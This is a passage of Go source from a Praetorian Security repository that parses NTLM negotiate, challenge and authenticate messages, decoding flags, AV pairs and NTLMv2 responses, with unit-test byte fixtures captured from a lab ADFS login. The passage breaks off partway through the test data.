	NtChallengeResponseFields struct {
		NtChallengeResponseLen          uint16
		NtChallengeResponseMaxLen       uint16
		NtChallengeResponseBufferOffset uint32
		NtChallengeResponse             []byte
		NTLMv2Response                  NTLMv2_RESPONSE
	}
	DomainNameFields struct {
		DomainNameLen          uint16
		DomainNameMaxLen       uint16
		DomainNameBufferOffset uint32
		DomainName             []byte
	}
	UserNameFields struct {
		UserNameLen          uint16
		UserNameMaxLen       uint16
		UserNameBufferOffset uint32
		UserName             []byte
	}
	WorkstationFields struct {
		WorkstationLen          uint16
		WorkstationMaxLen       uint16
		WorkstationBufferOffset uint32
		Workstation             []byte
	}
	EncryptedRandomSessionKeyFields struct {
		EncryptedRandomSessionKeyLen          uint16
		EncryptedRandomSessionKeyMaxLen       uint16
		EncryptedRandomSessionKeyBufferOffset uint32
		EncryptedRandomSessionKey             []byte
	}
	NegotiateFlags        uint32
	DecodedNegotiateFlags DECODED_NEGOTIATE_FLAGS
	Version               NTLM_VERSION_INFO_DEBUG
	MIC                   []byte
}

type NTLM_VERSION_INFO_DEBUG struct {
	ProductMajorVersion uint8
	ProductMinorVersion uint8
	ProductBuild        uint16
	Reserved            []byte
	NTLMRevisionCurrent byte
}

type DECODED_NEGOTIATE_FLAGS struct {
	NTLM_NEGOTIATE_56                          bool
	NTLM_NEGOTIATE_KEY_EXCH                    bool
	NTLM_NEGOTIATE_128                         bool
	R1                                         bool
	R2                                         bool
	R3                                         bool
	NTLM_NEGOTIATE_VERSION                     bool
	R4                                         bool
	NTLM_NEGOTIATE_TARGET_INFO                 bool
	NTLM_REQUEST_NON_NT_SESSION_KEY            bool
	R5                                         bool
	NTLMSSP_NEGOTIATE_IDENTIFY                 bool
	NTLMSSP_NEGOTIATE_EXTENDED_SESSIONSECURITY bool
	R6                                         bool
	NTLMSSP_TARGET_TYPE_SERVER                 bool
	NTLMSSP_TARGET_TYPE_DOMAIN                 bool
	NTLMSSP_NEGOTIATE_ALWAYS_SIGN              bool
	R7                                         bool
	NTLMSSP_NEGOTIATE_OEM_WORKSTATION_SUPPLIED bool
	NTLMSSP_NEGOTIATE_OEM_DOMAIN_SUPPLIED      bool
	ANONYMOUS_CONNECTION                       bool
	R8                                         bool
	NTLMSSP_NEGOTIATE_NTLM                     bool
	R9                                         bool
	NTLMSSP_NEGOTIATE_LM_KEY                   bool
	NTLMSSP_NEGOTIATE_DATAGRAM                 bool
	NTLMSSP_NEGOTIATE_SEAL                     bool
	NTLMSSP_NEGOTIATE_SIGN                     bool
	R10                                        bool
	NTLMSSP_REQUEST_TARGET                     bool
	NTLM_NEGOTIATE_OEM                         bool
	NTLMSSP_NEGOTIATE_UNICODE                  bool
}

type DECODED_TARGET_INFO struct {
	AvPairs []AV_PAIR
}

type AV_PAIR struct {
	AvId   uint16
	AvLen  uint16
	AvData []byte
}

type NTLMv2_RESPONSE struct {
	Response        []byte
	ClientChallenge NTLMv2_CLIENT_CHALLENGE
}

type NTLMv2_CLIENT_CHALLENGE struct {
	RespType            byte
	HiRespType          byte
	Reserved1           []byte
	Reserved2           []byte
	TimeStamp           []byte
	ChallengeFromClient []byte
	Reserved3           []byte
	AvPairs             []AV_PAIR
}


================================================
FILE: pkg/ntlm/debug.go
================================================
// Copyright 2022 Praetorian Security, Inc.
//
// Licensed under the Apache License, Version 2.0 (the "License");
// you may not use this file except in compliance with the License.
// You may obtain a copy of the License at
//
//      http://www.apache.org/licenses/LICENSE-2.0
//
// Unless required by applicable law or agreed to in writing, software
// distributed under the License is distributed on an "AS IS" BASIS,
// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
// See the License for the specific language governing permissions and
// limitations under the License.

package ntlm

import "fmt"

func (*NEGOTIATE_MESSAGE) Print() {
	fmt.Println("Printing Contents of NEGOTIATE_MESSAGE")
}

func (*CHALLENGE_MESSAGE) Print() {
	fmt.Println("Printing Contents of CHALLENGE_MESSAGE")
}

func (*AUTHENTICATE_MESSAGE) Print() {
	fmt.Println("Printing contents of AUTHENTICATE_MESSAGE")
}


================================================
FILE: pkg/ntlm/decoder.go
================================================
// Copyright 2022 Praetorian Security, Inc.
//
// Licensed under the Apache License, Version 2.0 (the "License");
// you may not use this file except in compliance with the License.
// You may obtain a copy of the License at
//
//      http://www.apache.org/licenses/LICENSE-2.0
//
// Unless required by applicable law or agreed to in writing, software
// distributed under the License is distributed on an "AS IS" BASIS,
// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
// See the License for the specific language governing permissions and
// limitations under the License.

package ntlm

func decodeInt16LittleEndian(rawBytes []byte) uint16 {
	return uint16(rawBytes[0]) | uint16(rawBytes[1])<<8
}

func decodeInt32LittleEndian(rawBytes []byte) uint32 {
	return uint32(rawBytes[0]) | uint32(rawBytes[1])<<8 | uint32(rawBytes[2])<<16 | uint32(rawBytes[3])<<24
}


================================================
FILE: pkg/ntlm/ntlm.go
================================================
// Copyright 2022 Praetorian Security, Inc.
//
// Licensed under the Apache License, Version 2.0 (the "License");
// you may not use this file except in compliance with the License.
// You may obtain a copy of the License at
//
//      http://www.apache.org/licenses/LICENSE-2.0
//
// Unless required by applicable law or agreed to in writing, software
// distributed under the License is distributed on an "AS IS" BASIS,
// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
// See the License for the specific language governing permissions and
// limitations under the License.

package ntlm

import (
	"bytes"
	"fmt"
)

func DecodeMessage(rawBytes []byte) (interface{}, error) {
	if len(rawBytes) < 12 {
		return nil, fmt.Errorf("NTLM message too short header must be at least 12 bytes")
	}

	signature := rawBytes[:8]
	if !bytes.Equal(signature, NTLM_SIGNATURE[:]) {
		return nil, fmt.Errorf("NTLM signature mismatch")
	}

	messageType := rawBytes[8:12][0]
	switch messageType {
	case MESSAGE_TYPE_NEGOTIATE:
		return DecodeNegotiateMessage(rawBytes)
	case MESSAGE_TYPE_CHALLENGE:
		return DecodeChallengeMessage(rawBytes)
	case MESSAGE_TYPE_AUTHENTICATE:
		return DecodeAuthenticateMessage(rawBytes)
	default:
		return nil, fmt.Errorf("NTLM invalid message type specified")
	}
}

func DecodeNegotiateMessage(rawBytes []byte) (*NEGOTIATE_MESSAGE, error) {
	var NegotiateMessage NEGOTIATE_MESSAGE

	if len(rawBytes) < NTLM_MINIMUM_NEGOTIATE_SIZE {
		return nil, fmt.Errorf("NTLM message too short")
	}

	NegotiateMessage.Signature = rawBytes[:8]
	NegotiateMessage.MessageType = decodeInt32LittleEndian(rawBytes[8:12])
	NegotiateMessage.NegotiateFlags = decodeInt32LittleEndian(rawBytes[12:16])
	NegotiateMessage.DecodedNegotiateFlags = DecodeNegotiateFlags(NegotiateMessage.NegotiateFlags)
	NegotiateMessage.DomainNameFields.DomainNameLen = decodeInt16LittleEndian(rawBytes[16:18])
	NegotiateMessage.DomainNameFields.DomainNameMaxLen = decodeInt16LittleEndian(rawBytes[18:20])
	NegotiateMessage.DomainNameFields.DomainNameBufferOffset = decodeInt32LittleEndian(rawBytes[20:24])
	NegotiateMessage.WorkstationFields.WorkstationLen = decodeInt16LittleEndian(rawBytes[24:26])
	NegotiateMessage.WorkstationFields.WorkstationMaxLen = decodeInt16LittleEndian(rawBytes[26:28])
	NegotiateMessage.WorkstationFields.WorkstationBufferOffset = decodeInt32LittleEndian(rawBytes[28:32])

	if NegotiateMessage.DecodedNegotiateFlags.NTLM_NEGOTIATE_VERSION {
		if len(rawBytes) < 40 {
			return nil, fmt.Errorf("NTLM message too short")
		}

		NegotiateMessage.Version.ProductMajorVersion = rawBytes[32]
		NegotiateMessage.Version.ProductMinorVersion = rawBytes[33]
		NegotiateMessage.Version.ProductBuild = decodeInt16LittleEndian(rawBytes[34:36])
		NegotiateMessage.Version.Reserved = rawBytes[36:39]
		NegotiateMessage.Version.NTLMRevisionCurrent = rawBytes[39]
	}

	DomainNameFields := NegotiateMessage.DomainNameFields
	beginOffset := DomainNameFields.DomainNameBufferOffset
	endOffset := beginOffset + uint32(DomainNameFields.DomainNameLen)
	if endOffset > uint32(len(rawBytes)) {
		return nil, fmt.Errorf("DomainName, NTLM message too short, endOffset %d > len(rawBytes) %d", endOffset, len(rawBytes))
	}
	NegotiateMessage.DomainNameFields.DomainName = rawBytes[beginOffset:endOffset]

	WorkstationFields := NegotiateMessage.WorkstationFields
	beginOffset = WorkstationFields.WorkstationBufferOffset
	endOffset = beginOffset + uint32(WorkstationFields.WorkstationLen)
	if endOffset > uint32(len(rawBytes)) {
		return nil, fmt.Errorf("WorkstationFields, NTLM message too short, endOffset %d > len(rawBytes) %d", endOffset, len(rawBytes))
	}
	NegotiateMessage.WorkstationFields.WorkstationName = rawBytes[beginOffset:endOffset]

	return &NegotiateMessage, nil
}

func DecodeChallengeMessage(rawBytes []byte) (*CHALLENGE_MESSAGE, error) {
	var ChallengeMessage CHALLENGE_MESSAGE
	var err error

	if len(rawBytes) < NTLM_MINIMUM_CHALLENGE_SIZE {
		return nil, fmt.Errorf("buffer is too short for a challenge message")
	}

	ChallengeMessage.Signature = rawBytes[:8]
	ChallengeMessage.MessageType = decodeInt32LittleEndian(rawBytes[8:12])
	ChallengeMessage.TargetNameFields.TargetNameLen = decodeInt16LittleEndian(rawBytes[12:14])
	ChallengeMessage.TargetNameFields.TargetNameMaxLen = decodeInt16LittleEndian(rawBytes[14:16])
	ChallengeMessage.TargetNameFields.TargetNameBufferOffset = decodeInt32LittleEndian(rawBytes[16:20])
	TargetNameFields := ChallengeMessage.TargetNameFields
	beginOffset := TargetNameFields.TargetNameBufferOffset
	endOffset := beginOffset + uint32(TargetNameFields.TargetNameLen)
	if endOffset > uint32(len(rawBytes)) {
		return nil, fmt.Errorf("TargetName, NTLM message too short, endOffset %d > len(rawBytes) %d", endOffset, len(rawBytes))
	}
	ChallengeMessage.TargetNameFields.TargetName = rawBytes[beginOffset:endOffset]
	ChallengeMessage.NegotiateFlags = decodeInt32LittleEndian(rawBytes[20:24])
	ChallengeMessage.DecodedNegotiateFlags = DecodeNegotiateFlags(ChallengeMessage.NegotiateFlags)

	ChallengeMessage.ServerChallenge = rawBytes[24:32]
	ChallengeMessage.Reserved = rawBytes[32:40]
	ChallengeMessage.TargetInfoFields.TargetInfoLen = decodeInt16LittleEndian(rawBytes[40:42])
	ChallengeMessage.TargetInfoFields.TargetInfoMaxLen = decodeInt16LittleEndian(rawBytes[42:44])
	ChallengeMessage.TargetInfoFields.TargetInfoBufferOffset = decodeInt32LittleEndian(rawBytes[44:48])
	TargetInfoFields := ChallengeMessage.TargetInfoFields
	beginOffset = TargetInfoFields.TargetInfoBufferOffset
	endOffset = beginOffset + uint32(TargetInfoFields.TargetInfoLen)
	if endOffset > uint32(len(rawBytes)) {
		return nil, fmt.Errorf("TargetInfo, NTLM message too short, endOffset %d > len(rawBytes) %d", endOffset, len(rawBytes))
	}
	ChallengeMessage.TargetInfoFields.TargetInfo = rawBytes[beginOffset:endOffset]
	ChallengeMessage.DecodedTargetInfo.AvPairs, err = DecodeAvPairs(ChallengeMessage.TargetInfoFields.TargetInfo)
	if err != nil {
		return nil, fmt.Errorf("TargetInfo, unable to decode TargetInfo fields, err: %v", err)
	}

	if ChallengeMessage.DecodedNegotiateFlags.NTLM_NEGOTIATE_VERSION {
		if len(rawBytes) < 54 {
			return nil, fmt.Errorf("NTLM message too short")
		}

		ChallengeMessage.Version.ProductMajorVersion = rawBytes[32]
		ChallengeMessage.Version.ProductMinorVersion = rawBytes[33]
		ChallengeMessage.Version.ProductBuild = decodeInt16LittleEndian(rawBytes[48:50])
		ChallengeMessage.Version.Reserved = rawBytes[50:53]
		ChallengeMessage.Version.NTLMRevisionCurrent = rawBytes[53]
	}

	return &ChallengeMessage, nil
}

func DecodeAuthenticateMessage(rawBytes []byte) (*AUTHENTICATE_MESSAGE, error) {
	var AuthenticateMessage AUTHENTICATE_MESSAGE
	var err error

	if len(rawBytes) < NTLM_MINIMUM_AUTHENTICATE_SIZE {
		return nil, fmt.Errorf("buffer is too short for a challenge message")
	}

	AuthenticateMessage.Signature = rawBytes[:8]
	AuthenticateMessage.MessageType = decodeInt32LittleEndian(rawBytes[8:12])
	AuthenticateMessage.LmChallengeResponseFields.LmChallengeResponseLen = decodeInt16LittleEndian(rawBytes[12:14])
	AuthenticateMessage.LmChallengeResponseFields.LmChallengeResponseMaxLen = decodeInt16LittleEndian(rawBytes[14:16])
	AuthenticateMessage.LmChallengeResponseFields.LmChallengeResponseBufferOffset = decodeInt32LittleEndian(rawBytes[16:20])
	AuthenticateMessage.NtChallengeResponseFields.NtChallengeResponseLen = decodeInt16LittleEndian(rawBytes[20:22])
	AuthenticateMessage.NtChallengeResponseFields.NtChallengeResponseMaxLen = decodeInt16LittleEndian(rawBytes[22:24])
	AuthenticateMessage.NtChallengeResponseFields.NtChallengeResponseBufferOffset = decodeInt32LittleEndian(rawBytes[24:28])
	AuthenticateMessage.DomainNameFields.DomainNameLen = decodeInt16LittleEndian(rawBytes[28:30])
	AuthenticateMessage.DomainNameFields.DomainNameMaxLen = decodeInt16LittleEndian(rawBytes[30:32])
	AuthenticateMessage.DomainNameFields.DomainNameBufferOffset = decodeInt32LittleEndian(rawBytes[32:36])
	AuthenticateMessage.UserNameFields.UserNameLen = decodeInt16LittleEndian(rawBytes[36:38])
	AuthenticateMessage.UserNameFields.UserNameMaxLen = decodeInt16LittleEndian(rawBytes[38:40])
	AuthenticateMessage.UserNameFields.UserNameBufferOffset = decodeInt32LittleEndian(rawBytes[40:44])
	AuthenticateMessage.WorkstationFields.WorkstationLen = decodeInt16LittleEndian(rawBytes[44:46])
	AuthenticateMessage.WorkstationFields.WorkstationMaxLen = decodeInt16LittleEndian(rawBytes[46:48])
	AuthenticateMessage.WorkstationFields.WorkstationBufferOffset = decodeInt32LittleEndian(rawBytes[48:52])
	AuthenticateMessage.EncryptedRandomSessionKeyFields.EncryptedRandomSessionKeyLen = decodeInt16LittleEndian(rawBytes[52:54])
	AuthenticateMessage.EncryptedRandomSessionKeyFields.EncryptedRandomSessionKeyMaxLen = decodeInt16LittleEndian(rawBytes[54:56])
	AuthenticateMessage.EncryptedRandomSessionKeyFields.EncryptedRandomSessionKeyBufferOffset = decodeInt32LittleEndian(rawBytes[56:60])
	AuthenticateMessage.NegotiateFlags = decodeInt32LittleEndian(rawBytes[60:64])
	AuthenticateMessage.DecodedNegotiateFlags = DecodeNegotiateFlags(AuthenticateMessage.NegotiateFlags)

	if AuthenticateMessage.DecodedNegotiateFlags.NTLM_NEGOTIATE_VERSION {
		if len(rawBytes) < 72 {
			return nil, fmt.Errorf("NTLM message too short")
		}

		AuthenticateMessage.Version.ProductMajorVersion = rawBytes[64]
		AuthenticateMessage.Version.ProductMinorVersion = rawBytes[65]
		AuthenticateMessage.Version.ProductBuild = decodeInt16LittleEndian(rawBytes[66:68])
		AuthenticateMessage.Version.Reserved = rawBytes[68:71]
		AuthenticateMessage.Version.NTLMRevisionCurrent = rawBytes[71]
	}

	LmChallengeResponseFields := AuthenticateMessage.LmChallengeResponseFields
	beginOffset := LmChallengeResponseFields.LmChallengeResponseBufferOffset
	endOffset := beginOffset + uint32(LmChallengeResponseFields.LmChallengeResponseMaxLen)
	AuthenticateMessage.LmChallengeResponseFields.LmChallengeResponse = rawBytes[beginOffset:endOffset]

	NtChallengeResponseFields := AuthenticateMessage.NtChallengeResponseFields
	beginOffset = NtChallengeResponseFields.NtChallengeResponseBufferOffset
	endOffset = beginOffset + uint32(NtChallengeResponseFields.NtChallengeResponseMaxLen)
	if endOffset > uint32(len(rawBytes)) {
		return nil, fmt.Errorf("NtChallengeResponseFields, NTLM message too short, endOffset %d > len(rawBytes) %d", endOffset, len(rawBytes))
	}
	AuthenticateMessage.NtChallengeResponseFields.NtChallengeResponse = rawBytes[beginOffset:endOffset]

	DomainNameFields := AuthenticateMessage.DomainNameFields
	beginOffset = DomainNameFields.DomainNameBufferOffset
	endOffset = beginOffset + uint32(DomainNameFields.DomainNameMaxLen)
	if endOffset > uint32(len(rawBytes)) {
		return nil, fmt.Errorf("DomainNameFields, NTLM message too short, endOffset %d > len(rawBytes) %d", endOffset, len(rawBytes))
	}
	AuthenticateMessage.DomainNameFields.DomainName = rawBytes[beginOffset:endOffset]

	UserNameFields := AuthenticateMessage.UserNameFields
	beginOffset = UserNameFields.UserNameBufferOffset
	endOffset = beginOffset + uint32(UserNameFields.UserNameMaxLen)
	if endOffset > uint32(len(rawBytes)) {
		return nil, fmt.Errorf("UserNameFields, NTLM message too short, endOffset %d > len(rawBytes) %d", endOffset, len(rawBytes))
	}
	AuthenticateMessage.UserNameFields.UserName = rawBytes[beginOffset:endOffset]

	WorkstationFields := AuthenticateMessage.WorkstationFields
	beginOffset = WorkstationFields.WorkstationBufferOffset
	endOffset = beginOffset + uint32(WorkstationFields.WorkstationMaxLen)
	if endOffset > uint32(len(rawBytes)) {
		return nil, fmt.Errorf("WorkstationFields, NTLM message too short, endOffset %d > len(rawBytes) %d", endOffset, len(rawBytes))
	}
	AuthenticateMessage.WorkstationFields.Workstation = rawBytes[beginOffset:endOffset]

	EncryptedRandomSessionKeyFields := AuthenticateMessage.EncryptedRandomSessionKeyFields
	beginOffset = EncryptedRandomSessionKeyFields.EncryptedRandomSessionKeyBufferOffset
	endOffset = beginOffset + uint32(EncryptedRandomSessionKeyFields.EncryptedRandomSessionKeyMaxLen)
	if endOffset > uint32(len(rawBytes)) {
		return nil, fmt.Errorf("EncryptedRandomSessionKeyFields, NTLM message too short, endOffset %d > len(rawBytes) %d", endOffset, len(rawBytes))
	}
	AuthenticateMessage.EncryptedRandomSessionKeyFields.EncryptedRandomSessionKey = rawBytes[beginOffset:endOffset]

	if len(AuthenticateMessage.NtChallengeResponseFields.NtChallengeResponse) == 24 { // NTLMv1 Detexted

	} else { // NTLMv2 Detected

		AuthenticateMessage.NtChallengeResponseFields.NTLMv2Response.Response = AuthenticateMessage.NtChallengeResponseFields.NtChallengeResponse[:16]

		ClientChallengeBytes := AuthenticateMessage.NtChallengeResponseFields.NtChallengeResponse[16:]
		AuthenticateMessage.NtChallengeResponseFields.NTLMv2Response.ClientChallenge, err = DecodeNTLMv2ClientChallenge(ClientChallengeBytes)
		if err != nil {
			return nil, fmt.Errorf("NtChallengeResponseFields, unable to decode NTLMv2 ClientChallenge: %v", err)
		}
	}

	AuthenticateMessage.MIC = []byte{0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00}
	for _, avPair := range AuthenticateMessage.NtChallengeResponseFields.NTLMv2Response.ClientChallenge.AvPairs {
		if avPair.AvId == MsvAvFlags {
			AvFlags := decodeInt32LittleEndian(avPair.AvData[:4])
			if AvFlags&MessageIntegrityCodeIncluded == MessageIntegrityCodeIncluded {
				if len(rawBytes) < 89 {
					return nil, fmt.Errorf("NTLM message too short")
				}

				AuthenticateMessage.MIC = rawBytes[72:88]
			}
		}
	}

	return &AuthenticateMessage, nil
}

func DecodeNegotiateFlags(NegotiateFlags uint32) DECODED_NEGOTIATE_FLAGS {
	var DecodedNegotiateFlags DECODED_NEGOTIATE_FLAGS

	DecodedNegotiateFlags.NTLMSSP_NEGOTIATE_UNICODE = (NegotiateFlags & (1 << 0)) != 0
	DecodedNegotiateFlags.NTLM_NEGOTIATE_OEM = (NegotiateFlags & (1 << 1)) != 0
	DecodedNegotiateFlags.NTLMSSP_REQUEST_TARGET = (NegotiateFlags & (1 << 2)) != 0
	DecodedNegotiateFlags.R10 = (NegotiateFlags & (1 << 3)) != 0
	DecodedNegotiateFlags.NTLMSSP_NEGOTIATE_SIGN = (NegotiateFlags & (1 << 4)) != 0
	DecodedNegotiateFlags.NTLMSSP_NEGOTIATE_SEAL = (NegotiateFlags & (1 << 5)) != 0
	DecodedNegotiateFlags.NTLMSSP_NEGOTIATE_DATAGRAM = (NegotiateFlags & (1 << 6)) != 0
	DecodedNegotiateFlags.NTLMSSP_NEGOTIATE_LM_KEY = (NegotiateFlags & (1 << 7)) != 0
	DecodedNegotiateFlags.R9 = (NegotiateFlags & (1 << 8)) != 0
	DecodedNegotiateFlags.NTLMSSP_NEGOTIATE_NTLM = (NegotiateFlags & (1 << 9)) != 0
	DecodedNegotiateFlags.R8 = (NegotiateFlags & (1 << 10)) != 0
	DecodedNegotiateFlags.ANONYMOUS_CONNECTION = (NegotiateFlags & (1 << 11)) != 0
	DecodedNegotiateFlags.NTLMSSP_NEGOTIATE_OEM_DOMAIN_SUPPLIED = (NegotiateFlags & (1 << 12)) != 0
	DecodedNegotiateFlags.NTLMSSP_NEGOTIATE_OEM_WORKSTATION_SUPPLIED = (NegotiateFlags & (1 << 13)) != 0
	DecodedNegotiateFlags.R7 = (NegotiateFlags & (1 << 14)) != 0
	DecodedNegotiateFlags.NTLMSSP_NEGOTIATE_ALWAYS_SIGN = (NegotiateFlags & (1 << 15)) != 0
	DecodedNegotiateFlags.NTLMSSP_TARGET_TYPE_DOMAIN = (NegotiateFlags & (1 << 16)) != 0
	DecodedNegotiateFlags.NTLMSSP_TARGET_TYPE_SERVER = (NegotiateFlags & (1 << 17)) != 0
	DecodedNegotiateFlags.R6 = (NegotiateFlags & (1 << 18)) != 0
	DecodedNegotiateFlags.NTLMSSP_NEGOTIATE_EXTENDED_SESSIONSECURITY = (NegotiateFlags & (1 << 19)) != 0
	DecodedNegotiateFlags.NTLMSSP_NEGOTIATE_IDENTIFY = (NegotiateFlags & (1 << 20)) != 0
	DecodedNegotiateFlags.R5 = (NegotiateFlags & (1 << 21)) != 0
	DecodedNegotiateFlags.NTLM_REQUEST_NON_NT_SESSION_KEY = (NegotiateFlags & (1 << 22)) != 0
	DecodedNegotiateFlags.NTLM_NEGOTIATE_TARGET_INFO = (NegotiateFlags & (1 << 23)) != 0
	DecodedNegotiateFlags.R4 = (NegotiateFlags & (1 << 24)) != 0
	DecodedNegotiateFlags.NTLM_NEGOTIATE_VERSION = (NegotiateFlags & (1 << 25)) != 0
	DecodedNegotiateFlags.R3 = (NegotiateFlags & (1 << 26)) != 0
	DecodedNegotiateFlags.R2 = (NegotiateFlags & (1 << 27)) != 0
	DecodedNegotiateFlags.R1 = (NegotiateFlags & (1 << 28)) != 0
	DecodedNegotiateFlags.NTLM_NEGOTIATE_128 = (NegotiateFlags & (1 << 29)) != 0
	DecodedNegotiateFlags.NTLM_NEGOTIATE_KEY_EXCH = (NegotiateFlags & (1 << 30)) != 0
	DecodedNegotiateFlags.NTLM_NEGOTIATE_56 = (NegotiateFlags & (1 << 31)) != 0

	return DecodedNegotiateFlags
}

func DecodeAvPairs(rawBytes []byte) ([]AV_PAIR, error) {
	var AvPairList []AV_PAIR

	for i := 0; i < len(rawBytes); {
		var AvPair AV_PAIR

		if len(rawBytes) < i+4 {
			return nil, fmt.Errorf("NTLM message too short")
		}
		AvPair.AvId = decodeInt16LittleEndian(rawBytes[i : i+2])
		i += 2
		AvPair.AvLen = decodeInt16LittleEndian(rawBytes[i : i+2])
		i += 2

		if len(rawBytes) < i+int(AvPair.AvLen) {
			return nil, fmt.Errorf("NTLM message too short")
		}
		AvPair.AvData = rawBytes[i : i+int(AvPair.AvLen)]
		i += int(AvPair.AvLen)

		AvPairList = append(AvPairList, AvPair)

		if AvPair.AvId == MsvAvEOL {
			return AvPairList, nil
		}
	}

	return AvPairList, fmt.Errorf("DecodeAvPairs, error list of av pairs must be terminated by MsvAvEOL")
}

func DecodeNTLMv2ClientChallenge(rawBytes []byte) (NTLMv2_CLIENT_CHALLENGE, error) {
	var NTLMv2ClientChallenge NTLMv2_CLIENT_CHALLENGE
	var err error

	NTLMv2ClientChallenge.RespType = rawBytes[0]
	NTLMv2ClientChallenge.HiRespType = rawBytes[1]
	NTLMv2ClientChallenge.Reserved1 = rawBytes[2:4]
	NTLMv2ClientChallenge.Reserved2 = rawBytes[4:8]
	NTLMv2ClientChallenge.TimeStamp = rawBytes[8:16]
	NTLMv2ClientChallenge.ChallengeFromClient = rawBytes[16:24]
	NTLMv2ClientChallenge.Reserved3 = rawBytes[24:28]

	NTLMv2ClientChallenge.AvPairs, err = DecodeAvPairs(rawBytes[28:])
	if err != nil {
		return NTLMv2ClientChallenge, err
	}

	return NTLMv2ClientChallenge, nil
}


================================================
FILE: pkg/ntlm/ntlm_test.go
================================================
// Copyright 2022 Praetorian Security, Inc.
//
// Licensed under the Apache License, Version 2.0 (the "License");
// you may not use this file except in compliance with the License.
// You may obtain a copy of the License at
//
//      http://www.apache.org/licenses/LICENSE-2.0
//
// Unless required by applicable law or agreed to in writing, software
// distributed under the License is distributed on an "AS IS" BASIS,
// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
// See the License for the specific language governing permissions and
// limitations under the License.

package ntlm

import (
	"testing"

	"github.com/davecgh/go-spew/spew"
)

var (

	// SampleA was captured from a system running FireFox on MacOS authenticating to an ADFS server
	// running on Windows Server 2019 with BurpSuite proxying the requests

	NegotiateMessageBytesSampleA = []byte{
		0x4e, 0x54, 0x4c, 0x4d, 0x53, 0x53, 0x50, 0x00, 0x01, 0x00, 0x00, 0x00, 0x07, 0x82, 0x08, 0x00,
		0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
	}

	ChallengeMessageBytesSampleA = []byte{
		0x4e, 0x54, 0x4c, 0x4d, 0x53, 0x53, 0x50, 0x00, 0x02, 0x00, 0x00, 0x00, 0x0e, 0x00, 0x0e, 0x00,
		0x38, 0x00, 0x00, 0x00, 0x05, 0x82, 0x89, 0x02, 0xab, 0xf2, 0x49, 0xf0, 0xf1, 0xa3, 0xb6, 0xdb,
		0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xbe, 0x00, 0xbe, 0x00, 0x46, 0x00, 0x00, 0x00,
		0x0a, 0x00, 0x63, 0x45, 0x00, 0x00, 0x00, 0x0f, 0x43, 0x00, 0x4f, 0x00, 0x4e, 0x00, 0x54, 0x00,
		0x4f, 0x00, 0x53, 0x00, 0x4f, 0x00, 0x02, 0x00, 0x0e, 0x00, 0x43, 0x00, 0x4f, 0x00, 0x4e, 0x00,
		0x54, 0x00, 0x4f, 0x00, 0x53, 0x00, 0x4f, 0x00, 0x01, 0x00, 0x1e, 0x00, 0x57, 0x00, 0x49, 0x00,
		0x4e, 0x00, 0x2d, 0x00, 0x46, 0x00, 0x43, 0x00, 0x47, 0x00, 0x55, 0x00, 0x34, 0x00, 0x47, 0x00,
		0x48, 0x00, 0x4f, 0x00, 0x30, 0x00, 0x38, 0x00, 0x34, 0x00, 0x04, 0x00, 0x1a, 0x00, 0x43, 0x00,
		0x4f, 0x00, 0x4e, 0x00, 0x54, 0x00, 0x4f, 0x00, 0x53, 0x00, 0x4f, 0x00, 0x2e, 0x00, 0x4c, 0x00,
		0x4f, 0x00, 0x43, 0x00, 0x41, 0x00, 0x4c, 0x00, 0x03, 0x00, 0x3a, 0x00, 0x57, 0x00, 0x49, 0x00,
		0x4e, 0x00, 0x2d, 0x00, 0x46, 0x00, 0x43, 0x00, 0x47, 0x00, 0x55, 0x00, 0x34, 0x00, 0x47, 0x00,
		0x48, 0x00, 0x4f, 0x00, 0x30, 0x00, 0x38, 0x00, 0x34, 0x00, 0x2e, 0x00, 0x43, 0x00, 0x4f, 0x00,
		0x4e, 0x00, 0x54, 0x00, 0x4f, 0x00, 0x53, 0x00, 0x4f, 0x00, 0x2e, 0x00, 0x4c, 0x00, 0x4f, 0x00,
		0x43, 0x00, 0x41, 0x00, 0x4c, 0x00, 0x05, 0x00, 0x1a, 0x00, 0x43, 0x00, 0x4f, 0x00, 0x4e, 0x00,
		0x54, 0x00, 0x4f, 0x00, 0x53, 0x00, 0x4f, 0x00, 0x2e, 0x00, 0x4c, 0x00, 0x4f, 0x00, 0x43, 0x00,
		0x41, 0x00, 0x4c, 0x00, 0x07, 0x00, 0x08, 0x00, 0x61, 0x4d, 0x05, 0xbf, 0xe4, 0x72, 0xd8, 0x01,
		0x00, 0x00, 0x00, 0x00,
	}

	AuthenticateMessageBytesSampleA = []byte{
		0x4e, 0x54, 0x4c, 0x4d, 0x53, 0x53, 0x50, 0x00, 0x03, 0x00, 0x00, 0x00, 0x18, 0x00, 0x18, 0x00,
		0x80, 0x00, 0x00, 0x00, 0xea, 0x00, 0xea, 0x00, 0x98, 0x00, 0x00, 0x00, 0x1a, 0x00, 0x1a, 0x00,
		0x40, 0x00, 0x00, 0x00, 0x10, 0x00, 0x10, 0x00, 0x5a, 0x00, 0x00, 0x00, 0x16, 0x00, 0x16, 0x00,
		0x6a, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x05, 0x82, 0x08, 0x00,
		0x43, 0x00, 0x4f, 0x00, 0x4e, 0x00, 0x54, 0x00, 0x4f, 0x00, 0x53, 0x00, 0x4f, 0x00, 0x2e, 0x00,
		0x4c, 0x00, 0x4f, 0x00, 0x43, 0x00, 0x41, 0x00, 0x4c, 0x00, 0x41, 0x00, 0x43, 0x00, 0x72, 0x00,
		0x6f, 0x00, 0x73, 0x00, 0x73, 0x00, 0x65, 0x00, 0x72, 0x00, 0x57, 0x00, 0x4f, 0x00, 0x52, 0x00,
		0x4b, 0x00, 0x53, 0x00, 0x54, 0x00, 0x41, 0x00, 0x54, 0x00, 0x49, 0x00, 0x4f, 0x00, 0x4e, 0x00,
		0xd6, 0x67, 0x23, 0xd0, 0xc7, 0x43, 0x55, 0x19, 0x0b, 0x00, 0xe7, 0xb9, 0x79, 0x7b, 0x63, 0x4e,
